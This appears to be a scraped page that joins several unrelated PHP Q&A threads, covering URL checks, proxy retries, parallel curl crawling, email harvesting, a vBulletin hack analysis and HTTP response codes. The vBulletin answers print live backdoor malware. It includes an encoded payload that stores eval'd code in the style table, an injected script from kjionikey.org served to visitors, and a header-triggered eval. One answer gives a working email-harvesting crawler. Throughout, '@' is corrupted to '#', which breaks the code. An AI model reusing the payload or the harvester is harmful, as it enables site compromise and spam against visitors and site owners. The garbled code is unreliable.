am testing lots of links on the same domain to see whether they exist or not. I am using the following code:
function get_http_response_code($url)
{
$headers = get_headers($url);
return substr($headers[0], 9, 3);
}
function getURLs()
{
foreach($allResults as $result)
{
$tempURL = 'http://www.doma.in/foo/'.$result.'/bar';
if(get_http_response_code($tempURL) != "404" && get_http_response_code($tempURL) != "500")
{
$URLs[] = $tempURL;
}
else
{
echo $tempURL.' could not be reached<br />';
}
return $URLs;
}
$URLs = getURLs();
The problem is, among the hundreds that do exist, the $URLs array contains URLs that do not exist (404); sometimes two, sometimes four, but every time it produces an HTTP/1.0 404 Not Found error. Why such variance? Is there a timeout I should be setting? Any help will be appreciated.
As I understand from Your code the problem is in mistake of variable $url
Try this.
...
foreach($allResults as $result)
{
$tempURL = 'http://www.doma.in/foo/'.$result['url'].'/bar';
...
$url changed to $result
Related
ive a database with around 5000 videos and i noticed some of them are removed now.. SO i decided to write a php script to fix bulk check this..
From the various sources below is the code i implemented based on most answers here, but it doesnt give correct results. IT gives a 403 header for 3/4th videos though practically more than 90% are working..Am i missing anything?
foreach ($video as $cat) {
$str = explode("=",$cat->videourl);
$headers = get_headers('http://gdata.youtube.com/feeds/api/videos/' . $str[1]);
if (!strpos($headers[0], '200')) {
print_r($headers[0].'<br>');
$i=$i+1;
print_r("Unpublish".$cat->id. PHP_EOL);
}
else{
print_r("publish".$cat->id. PHP_EOL);
}
}
I'm printing the header here to debug it, and for most it gives, HTTP/1.0 403 Forbidden
Edit :: ive already checked the videoids are passed correctly(so string processing has no issues)
For anyone trying to achieve this, here is the code.. do appreciate if works for you as ive spend hours to get it working for the new api
$headers = checkYoutubeId ($str[1]);
if ($headers == false) {
$i=$i+1;
$db->query('UPDATE `ckf_hdflv_upload` SET `published`="0" Where `id`='.$cat->id);
print_r("Unpublished".$cat->id. PHP_EOL);
}
else{
$db->query('UPDATE `ckf_hdflv_upload` SET `published`="1" Where `id`='.$cat->id);
}
}
}
echo('done'.$i);
function checkYoutubeId($id) {
if (!$data = #file_get_contents("http://gdata.youtube.com/feeds/api/videos/".$id)) return false;
if ($data == "Video not found") return false;
if ($data == "Private video") return false;
return true;
}
I'm here again, learning more and more about PHP, but still have some problems for my scenario, most of my scenario has been programmed and solved without problem, but I found an issue, but to understand it, I need to explain it first:
I have a PHP script which can be invoked by any client and its work is to receive a request, ping to a proxy from a list which I define manually, to know if a proxy is available, if it is available, I proceed to retrieve a response using "curl" with a POST method. The logic is like this:
$proxyList = array('192.168.3.41:8013'=> 0, '192.168.3.41:8023'=>0, '192.168.3.41:8033'=>0);
$errorCounter = 0;
foreach ($proxyList as $key => $value){
if(!isUrlAvailable($key){ //It means it is NOT available so I count errors
$errorCounter++;
} else { //It means it is AVAILABLE
$result = callThisProxy($key);
}
}
The function "isUrlAvailable" uses a $fsockopen to know if the proxy is available. If not, I make a POST with CURL as mentioned before, the function has callThisProxy() something like:
$ch = curl_init($proxyUrl);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,'xmlQuery='.$rawXml);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$info = curl_exec ($ch);
if($isDebug){echo 'Info in the moment: '.$info.'<br/>';}
curl_close ($ch);
But, we're testing some scenarios, what happen if I turn off the proxy between the verification of the proxy availability and the call? I mean:
foreach ($proxyList as $key => $value){
if(!isUrlAvailable($key){ //It means it is NOT available so I count errors
$errorCounter++;
} else { //It means it is AVAILABLE
$result = callThisProxy($key);//What happen if I kill the proxy when the result is being processed?
}
}
I tested it and when I do that, the $result comes as empty string ''. But the problem is that I lost that request, and my goal is to retry it with the next $key which is a proxy. So, I've been thinking of a "do, while" when I invoke the result. But not sure, if it is ok or there's a better way to do it, so please I ask for help with this issue. Thanks in advance for your time any answer is welcome. Thanks.
Maybe something like:
$result = "";
while ($result == "")
{
foreach ($proxyList as $key => $value)
{
if (!isUrlAvailable($key))
{
$errorCounter++;
}
else
{
$result = callThisProxy($key);
}
}
}
// Now check $result, which should contain the first successful callThisProxy()
// result, or nothing if none of the keys worked.
You could just keep a list of proxies that you still need to try. When you hit the error or get a valid response then you remove the proxy from the list of proxies to try. If you do not get a good response then keep it in the list and try it again later.
$proxiesToTry = $proxyList;
$i = 0;
while (count($proxiesToTry) != 0) {
// reset to beginning of array
if($i >= count($proxiesToTry))
$i = 0;
$proxy = $proxiesToTry[$i];
if (!isUrlAvailable($proxy)) { //It means it is NOT available so I count errors
$errorCounter++;
unset($proxiesToTry[$i]);
} else { //It means it is AVAILABLE
$result = callThisProxy($proxy);
if($result != "") // If we got a response remove it from the array of proxies to try.
unset($proxiesToTry[$i]);
}
$i++;
}
NOTE: You will never break out of this loop if you don't ever get a valid response from some proxy.
Hi everyone once again!
We need some help to develop and implement a multi-curl functionality into our crawler. We have a huge array of "links to be scanned" and we loop throw them with a Foreach.
Let's use some pseudo code to understand the logic:
1) While ($links_to_be_scanned > 0).
2) Foreach ($links_to_be_scanned as $link_to_be_scanned).
3) Scan_the_link() and run some other functions.
4) Extract the new links from the xdom.
5) Push the new links into $links_to_be_scanned.
5) Push the current link into $links_already_scanned.
6) Remove the current link from $links_to_be_scanned.
Now, we need to define a maximum number of parallel connections and be able to run this process for each link in parallel.
I understand that we're gonna have to create a $links_being_scanned or some kind of queue.
I'm really not sure how to approach this problem to be honest, if anyone could provide some snippet or idea to solve it, it would be greatly appreciated.
Thanks in advance!
Chris;
Extended:
I just realized that is not the multi-curl itself the tricky part, but the amount of operations done with each link after the request.
Even after the muticurl, I would eventually have to find a way to run all this operations in parallel. The whole algorithm described below would have to run in parallel.
So now rethinking, we would have to do something like this:
While (There's links to be scanned)
Foreach ($Link_to_scann as $link)
If (There's less than 10 scanners running)
Launch_a_new_scanner($link)
Remove the link from $links_to_be_scanned array
Push the link into $links_on_queue array
Endif;
And each scanner does (This should be run in parallel):
Create an object with the given link
Send a curl request to the given link
Create a dom and an Xdom with the response body
Perform other operations over the response body
Remove the link from the $links_on_queue array
Push the link into the $links_already_scanned array
I assume we could approach this creating a new PHP file with the scanner algorithm, and using pcntl_fork() for each parallel proccess?
Since even using multi-curl, I would eventually have to wait looping on a regular foreach structure for the other processes.
I assume I would have to approach this using fsockopen or pcntl_fork.
Suggestions, comments, partial solutions, and even a "good luck" will be more than appreciated!
Thanks a lot!
DISCLAIMER: This answer links an open-source project with which I'm involved. There. You've been warned.
The Artax HTTP client is a socket-based HTTP library that (among other things) offers custom control over the number of concurrent open socket connections to individual hosts while making multiple asynchronous HTTP requests.
Limiting the number of concurrent connections is easily accomplished. Consider:
<?php
use Artax\Client, Artax\Response;
require dirname(__DIR__) . '/autoload.php';
$client = new Client;
// Defaults to max of 8 concurrent connections per host
$client->setOption('maxConnectionsPerHost', 2);
$requests = array(
'so-home' => 'http://stackoverflow.com',
'so-php' => 'http://stackoverflow.com/questions/tagged/php',
'so-python' => 'http://stackoverflow.com/questions/tagged/python',
'so-http' => 'http://stackoverflow.com/questions/tagged/http',
'so-html' => 'http://stackoverflow.com/questions/tagged/html',
'so-css' => 'http://stackoverflow.com/questions/tagged/css',
'so-js' => 'http://stackoverflow.com/questions/tagged/javascript'
);
$onResponse = function($requestKey, Response $r) {
echo $requestKey, ' :: ', $r->getStatus();
};
$onError = function($requestKey, Exception $e) {
echo $requestKey, ' :: ', $e->getMessage();
}
$client->requestMulti($requests, $onResponse, $onError);
IMPORTANT: In the above example the Client::requestMulti method is making all the specified requests asynchronously. Because the per-host concurrency limit is set to 2, the client will open up new connections for the first two requests and subsequently reuse those same sockets for the other requests, queuing requests until one of the two sockets become available.
you could try something like this, haven't checked it, but you should get the idea
$request_pool = array();
function CreateHandle($url) {
$handle = curl_init($url);
// set curl options here
return $handle;
}
function Process($data) {
global $request_pool;
// do something with data
array_push($request_pool , CreateHandle($some_new_url));
}
function RunMulti() {
global $request_pool;
$multi_handle = curl_multi_init();
$active_request_pool = array();
$running = 0;
$active_request_count = 0;
$active_request_max = 10; // adjust as necessary
do {
$waiting_request_count = count($request_pool);
while(($active_request_count < $active_request_max) && ($waiting_request_count > 0)) {
$request = array_shift($request_pool);
curl_multi_add_handle($multi_handle , $request);
$active_request_pool[(int)$request] = $request;
$waiting_request_count--;
$active_request_count++;
}
curl_multi_exec($multi_handle , $running);
curl_multi_select($multi_handle);
while($info = curl_multi_info_read($multi_handle)) {
$curl_handle = $info['handle'];
call_user_func('Process' , curl_multi_getcontent($curl_handle));
curl_multi_remove_handle($multi_handle , $curl_handle);
curl_close($curl_handle);
$active_request_count--;
}
} while($active_request_count > 0 || $waiting_request_count > 0);
curl_multi_close($multi_handle);
}
You should look for some more robust solution to your problem. RabbitMQ
is a very good solution I used. There is also Gearman but I think it is your choice.
I prefer RabbitMQ.
I will share with you my code which I have used to collect email addresses from certain website.
You can modify it to fit your needs.
There were some problems with relative URL's there.
And I do not use CURL here.
<?php
error_reporting(E_ALL);
$home = 'http://kharkov-reklama.com.ua/jborudovanie/';
$writer = new RWriter('C:\parser_13-09-2012_05.txt');
set_time_limit(0);
ini_set('memory_limit', '512M');
function scan_page($home, $full_url, &$writer) {
static $done = array();
$done[] = $full_url;
// Scan only internal links. Do not scan all the internet!))
if (strpos($full_url, $home) === false) {
return false;
}
$html = #file_get_contents($full_url);
if (empty($html) || (strpos($html, '<body') === false && strpos($html, '<BODY') === false)) {
return false;
}
echo $full_url . '<br />';
preg_match_all('/([A-Za-z0-9_\-]+\.)*[A-Za-z0-9_\-]+#([A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9]\.)+[A-Za-z]{2,4}/', $html, $emails);
if (!empty($emails) && is_array($emails)) {
foreach ($emails as $email_group) {
if (is_array($email_group)) {
foreach ($email_group as $email) {
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
$writer->write($email);
}
}
}
}
}
$regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
preg_match_all("/$regexp/siU", $html, $matches, PREG_SET_ORDER);
if (is_array($matches)) {
foreach($matches as $match) {
if (!empty($match[2]) && is_scalar($match[2])) {
$url = $match[2];
if (!filter_var($url, FILTER_VALIDATE_URL)) {
$url = $home . $url;
}
if (!in_array($url, $done)) {
scan_page($home, $url, $writer);
}
}
}
}
}
class RWriter {
private $_fh = null;
private $_written = array();
public function __construct($fname) {
$this->_fh = fopen($fname, 'w+');
}
public function write($line) {
if (in_array($line, $this->_written)) {
return;
}
$this->_written[] = $line;
echo $line . '<br />';
fwrite($this->_fh, "{$line}\r\n");
}
public function __destruct() {
fclose($this->_fh);
}
}
scan_page($home, 'http://kharkov-reklama.com.ua/jborudovanie/', $writer);
I found a couple vBulletin sites I administer getting hacked recently. They use the latest version of the 3.8 series (3.8.7 Patch Level 2). I am usually pretty good at finding the holes where they get in and patching them up, but this one is stumping me. They are injecting data into the MySQL tables. The attack always happens when they make a GET request to the faq.php script. I was able to save data when the attack occurs. This was the $_REQUEST, $_GET, $_POST, $_COOKIE, and $_SERVER arrays. The only thing I saw that looked out of place is that there were two new $_SERVER keys, HTTP_SOVIET and HTTP_PACK:
http://pastebin.com/b6WdZtfK
I have to assume this is the root of the issue, but I cannot for the life of me figure out how the attacker can set this variable. There is nothing in the request string, nothing in the cookie array, it is a GET request, not POST.
Any idea?
A variable like $_SERVER['HTTP_*'] can set by just adding headers to the HTTP request.
A simple command line example would be:
PHP Page:
print_r($_SERVER);
Then on command line:
curl --header "SOVIET: 123" localhost
You'll see that $_SERVER['HTTP_SOVIET'] is equal to 123.
In this case, the contents of HTTP_SOVIET are base64 encoded (give away, it ends in ==).
Unencoded, it turns into:
function iai() {
global $db;
$base = base64_decode('JExLZ1RMSEs9KCRPX3JaeGw9IlxceDYyIi4iXFx4NjEiLiJcXHg3MyIuIlxceDY1Ii4iXFx4MzYiLiJcXHgzNCIuIlxceDVmIi4iXFx4NjQiLiJcXHg2NSIuIlxceDYzIi4iXFx4NmYiLiJcXHg2NCIuIlxceDY1ImFuZCRldFZKT1ZPPSJcXHg3MCIuIlxceDcyIi4iXFx4NjUiLiJcXHg2NyIuIlxceDVmIi4iXFx4NzIiLiJcXHg2NSIuIlxceDcwIi4iXFx4NmMiLiJcXHg2MSIuIlxceDYzIi4iXFx4NjUiKT9AJGV0VkpPVk8oIlxceDJmXFx4MmVcXHgyZlxceDY5XFx4NjUiLCRPX3JaeGwoIlFHVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ25XbTVXZFZrelVuQmlNalJuVTBkU01GRnRiRWhXUlVaNVMwTnJaMlYzTUV0YU1uaDJXVzFHYzBsRFVuQmpSamswVDNjd1MwcEhXbkJpUjFabVdrTkJPVWxEWTNaa1J6RjNURE5DYjJOR2JGTlpNRTVEWWxWS2VVcDZjMDVEYVZKd1kwWTVjMGxFTUdkTFNFNHdZMjFzZFZwNWJIQmpSRXB6WWpJMWJrdERVbkJqUmprMFMxUnpUa050YkcxTFIxcHdZa2RXWmxwWWFIQmpNMUo2UzBOU2JXRlhlR3hZTWxGd1NVZEdkVnBEUWtGaFdFNW1aRE5LY0dSSFJtbGlSMVZ2U2tkYWNHSkhWbVphUTJ0bldWYzFhMGxEWjI5S1NFNXdaVzFXWmxwcFFUbEpSVUp0WVZkNGJHTXliRFphVTJkcldtMXNjMXBXT1d0TFUydG5VR2xCZDB0VGEyZGxkekJMU1VOU2ExbFlVbWhKUkRCbldtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF2U2tkYWNHSkhWbVphUTJzM1JGRnZaMkZYV1c5S1NFNXdaVzFXWmxwcFFTdEpSRVYzVFVSQmQwMUVRWEJKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMUp0WVZkNGJGZ3lVWE5pV0ZKbVkyMUdkVnBEWjNoTlJFRnpUMVJyTlV0VE5HNU1RMk53VDNjd1MwbERRbkJhYVdkb1l6TlNlV0ZZVGpCamFXZHJXa2RHTUZsVGQydGhXRUptWWtOcmNFbEljMDVEYVVGblNVZGFjR0pIVm1aalNGWXdXREpPZG1KdVVteGlibEo2UzBOU2JXRlhlR3hZTWxGelNXbFNjR05HT1hOTVEwbHpVbXRzVFZKV09VSlZSa0pHVkd0UmNFOTNNRXRKUTBJNVNVZFdjMk15VldkamJWWXdaRmhLZFVsSVVubGtWMVUzUkZGdloyWlJNRXRtVVRCTFdtNVdkVmt6VW5CaU1qUm5VekpXU1ZOSFVuQlhSWGR2U2tkc2RVdFRRamRFVVhCdVlrYzVhVmxYZDJkS1NGcHBaRmQ0YzFwWVVuQmlhWGRyWVZoQ1ptVkVjMDVEYVZKcllqSXhhR0ZYTkdkUVUwRnVZVEp3Y0dJeU5YQmhNbFkxVEcwNWVWcDVZemRFVVc5cldtMXNkVnBHT1hSYVUwRTVTVU5rTWxsdVZuTmlSMVl3WVZjMVptSlhWblZrVXpWeFkzbzVNbEJVVFRST2VVa3JVRU01ZWxrelNuQmpTRkVyU25welRrTnBVbnBhVjAxblVGTkJibFV5TlVOYVIyaFRVVlp3VTFsclpEQmpiRGh1VDNjd1MwcEhkR3hsVTBFNVNVaE9NVmx1VGpCamFXaDBXa1JWYjBwR09WUlNWa3BYVWxaS1lrb3dhRlZXUmtKbVZsWk9SbFZzT1VKU01GWlBWa05rWkV4cFVuQmpSamswVEdsU2VscFhUWEJNUkVGelRWUlpjRTkzTUV0S1NGWjVZa05CT1VsSE1UQllNMHBvWW0xUmIwMVVRWGRNUkdzMVQxUnJOVTlUYTNWS2VUVnhZM280ZVU1VVFURk9hbWR0U25rMGEyRXlWalZQZHpCTFkyMVdNR1JZU25WSlEyZHJZak5XTUVsRU1HZGpNMUo1V0ROS2JHTkhlR2haTWxWdlNrZGFjR0p0VW1aaVYxVnpTa2RhY0dKdFVtWmlWMVYxU1d4NGVWaEhORGhqTWs1NVlWaENNRWxJVWpWalIxVTVXRU5LTUZwWWFEQk1NbkJvWkcxR2Vsa3pTbkJqU0ZKalNXbENlbU50VFRsWVEwcHZaRWhTZDA5cE9IWktSMUoyWWxkR2NHSnBPR3RrV0VweldFTkpLMUJET1hwWk0wcHdZMGhSSzBscGQydGhWelJ3UzFOQkwwbERVblprV0ZGblQybEJhMkZYTkRkRVVYQTVSRkZ3YldSWE5XcGtSMngyWW1sQ1IyVnJkREZWUjFwd1VWVmpiMHRUUWpkRVVXOXJZVmhCWjFCVFFXNUtlbk5PUTIxc2JVdERSbXhpV0VJd1pWTm5hMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxaV0RCYVVGVnNaRUpWYTFKR1VrWTVSMVF4U1c1WVUydHdTVWh6VGtOcFFXdFpXRXA1U1VRd1oxcFlhSGRpUnpscldsTm5ia3hEWTNOS1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psZEdPVWRVTVVwWVVWWktSVkpWVW1aU2F6bFRTakV3Y0U5M01FdEpRMEp3V21sb2QyTnRWbTVZTWpGb1pFZE9iMHREWTNaWWJIaHJaWHBGYzAwek1XTk1iSGhyWlhwRmMwMHpNV05NYkhoclpYcEZjMDB6TVdOTWJIaHJaWHBGYzAwek1HdE1lV056U2tkR2VXTnNjMjVOUTJSa1MxTnJaMlYzTUV0SlEwRm5Ta2RzZDBsRU1HZEtSMFo1WTJ4emJrMURaR1JQZHpCTFNVTkNPVVJSY0RsRVVYQjVXbGhTTVdOdE5HZExRMFpzWWxoQ01HVlRaMnRoV0VGd1MxTkJMMGxEVW5CalEwRTJTVU5TWmxVd1ZsTldhMVpUVjNsa1UxSlZNVkJXUlZabVVWVlNSVlZwWkdSUGR6QkxabEV3UzFwdVZuVlpNMUp3WWpJMFoxRllRbVpoUm5CRldIbG5jRWxJYzA1RGJXeHRTMGhDZVZwWFpHWmlWMFl3V1RKbmIwcDVUbTVpTWpsdVlrZFdPR0pZVG5WbVIzaHdaRzFXT0ZsWGVEQlpXRnB3WXpOU2FHWkhSbnBoTTNnMVdWZG9kbUl6ZUdoaU1uZzRXVzFzZFZvemVHeGxSMFp6V2xkR2EyWkhWalJaTW13d1dsaDRjMlZYVG5aak0zaDBaVmhPZDFsWFRteG1SMFp6V2xob2FHWkhVblprVjBweldsZE9jMkZYVG5KSk1tdHVURU5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZZTVVwR1VtdFdVMUpXU1c1WVUydHdTVWh6VGtOcFFuQmFhV2gzWTIxV2JsZ3lNV2hrUjA1dlMwTmphbUpZVG5CYVdIaHRZVmhLYkZwdE9UUm1SemwzV2xoS2FHWkhUbTlqYlRsMFdsTk9jRXA1ZDJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVZsVXdWbE5ZTUVaSVVsVTFWVW94TUhCTFUwSjVXbGhTTVdOdE5HZGtTRW94V2xSelRrTnBRamxFVVhBNVJGRndiV1JYTldwa1IyeDJZbWxDZGxSV2JGcFVNa1o1UzBOcloyVjNNRXRhTW5oMldXMUdjMGxEVW5CalJqazBUM2N3UzBwSGJIZFlNMmRuVUZOQ1IyVnJkREZWUjFwd1VWVmpiMHRVYzA1RGFWSm9TVVF3WjFsWVNubFpXR3R2U25wSmVFNXBOSGxOZW10MVNubDNiazFxUVRWTWFtY3hUR2xqYzBwNlJUTk5lVFI1VGxSVmRVcDVkMjVOVkdONlRHcEZOVTVETkc1TVEyTTBUMU0wZVUxRVkzVktlWGR1VG5wUmRVMVVTVEZNYVdOelNucGplVXhxUlRCTWFXTnpTbnBaTWt4cVNUQlBVelJ1VEVOak1rNXBOSGhOUkVsMVNubDNiazVxVVhWTmFrMTZUR2xqY0U5M01FdGFiVGw1V2xkR2FtRkRaMnRaVTBKb1kzbEJhMWxwYTJkbGR6QkxTVWRzYlV0SVFubGFWMlJtWWxkR01Ga3laMjlKYVRsbFNrZEpkbUZUU1hOS1IyeDNXRE5uY0V0VFFubGFXRkl4WTIwMFoyUklTakZhVkhOT1EybENPVVJSY0RsRVVYQndXbWxuYUZwWE1YZGtTR3R2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVmExWkhVbFpLUmxWcFpHUkxVMnRuWlhjd1MwbEhiRzFMUlVaM1dESm9ZVkpHT0c5TFUwSm9ZbTFSWjBsWE9VNVhWbXhRV1ZoSmIwdFRRbWhpYlZGblNWVm9hMlJGU25CU01WSkNZMmxuY0V0VFFqZEVVVzluU2tjMWJHUXpVbXhsU0ZGblVGTkNURnBWYUVsYVIyeFpWRU5uYTJKdFZqTmtSMVkwWkVOck4wUlJiMmRtVVRCTFpsRXdTMk50VmpCa1dFcDFTVU5TZFZwWVpEQmFXR2d3VDNjOVBTY3BLVHM9IiksIi4iKTpudWxsOw==');
$style = $GLOBALS['style'];
if(!empty($style['styleid'])) {
$a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\'');
if($a['styleid']!='' and $a['replacements']=='') {
$db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'');
echo 'ok';
} else echo 'error';
}
exit;
}
#iai();
It's worth noting that query there:
'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''
Check your style table, as that's one way/the way code is exposed to the user.
Renaming your style table to something else would likely mitigate the effects of this attack for now.
In there, the base64 bit has more bas64 in, which has more bas64 in which eventually evals:
function HdtBiGTAr() {
global $ip_x;
$file_d = '/tmp/phpYRcCBmBr';
$ip_l = (string)ip2long($ip_x);
if(file_exists($file_d) and #is_writable($file_d) and (($size_f = #filesize($file_d)) > 0)) {
$data = file_get_contents($file_d);
if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).',');
if(!stristr($data,$ip_l)) {
file_put_contents($file_d,"$ip_l,",FILE_APPEND);
} else return true;
}
}
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
function FzKuPfiAG() {
$ip = '';
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) {
$ip = $arr['0'];
}
}
return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR'];
}
function Ap_hZD_() {
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) {
if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true;
}
}
function oMYYOar() {
global $ip_x;
$ip_x = FzKuPfiAG();
$a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.');
foreach($a as $b) {
if(preg_match("/^$b/i",$ip_x)) return true;
}
}
if(!empty($_SERVER['HTTP_REFERER'])) {
if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) {
$newtext = KeHHdiXL($newtext);
}
}
return $newtext;
This writes to a file called /tmp/phpYRcCBmBr, so I'd check what that says.
It also hides it's behaviour from search engines, which is nice of it.
The bad bit for users is likely:
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
Which puts some JS on the page hosted by kjionikey.org. That JS requires a key based on the IP address.
I'd check any code that reads/executes the contents of random $_SERVER variables, but why that would be in there, I don't know.
The attacker in this case has a backdoor code installed in one of your FAQ phrases (vbulletin phrases db table) as a set of chr() PHP function calls.
${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ...
that basically when eval'd through the faq.php script, gets decoded to:
if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET']))
{
if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy')
#eval(base64_decode($_SERVER['HTTP_SOVIET']));
}
You may find the affected vBulletin phrases by issuing a SQL query like so
SELECT varname, text FROM `phrase` where text like '%chr(%';
Though there are many variants of this, some are using HEX strings, base64decode, assert, pack calls or just plain PHP.
I have a shutdown function that checks to see if a redirect was just issued. From headers_list() I can get the headers sent and see the location header. My question is how would I figure out what http_response_code was used in the header() function. Headers list doesn't have the response code.
Example code to play around with. I don't use redirects in the example code, otherwise it would loop. Main thing is I would like to detect a 301 vs any other kind of redirect. This would be inside drupal (via drupal_goto using hook_exit); but the example code below shows the issue. I have no way of knowing what status number was passed to the browser via header().
<?php
register_shutdown_function('test');
if (mt_rand(0, 1)) {
header('X-test: junk 1', TRUE, 201);
}
else {
header('X-test: junk 0', TRUE, 202);
}
exit();
function test() {
if ($location = test_headers_contain('X-test: ')) {
// Would like to check the status code that was sent out
echo $location . '<br>';
$list = headers_list();
$txt = str_replace(' ', ' ', nl2br(htmlentities(print_r($list, TRUE))));
echo $txt;
}
}
function test_headers_contain($text) {
if (function_exists('headers_list')) {
$list = headers_list();
if (empty($list)) {
return FALSE;
}
foreach ($list as $header) {
$info = stristr($header, $text);
if ($info !== FALSE) {
return $info;
}
}
}
return FALSE;
}
?>
This code outputs this
X-test: junk 1
Array
(
[0] => X-Powered-By: PHP/5.2.10
[1] => X-test: junk 1
)
Revision 302033 added the function http_response_code in response to just the sort of issue you describe, but I'm not certain when it will be included in a release. It's not in 5.3.4. If you have access, you could build a patched version of PHP with this function added. If not, you could request it of whoever on your host does have access.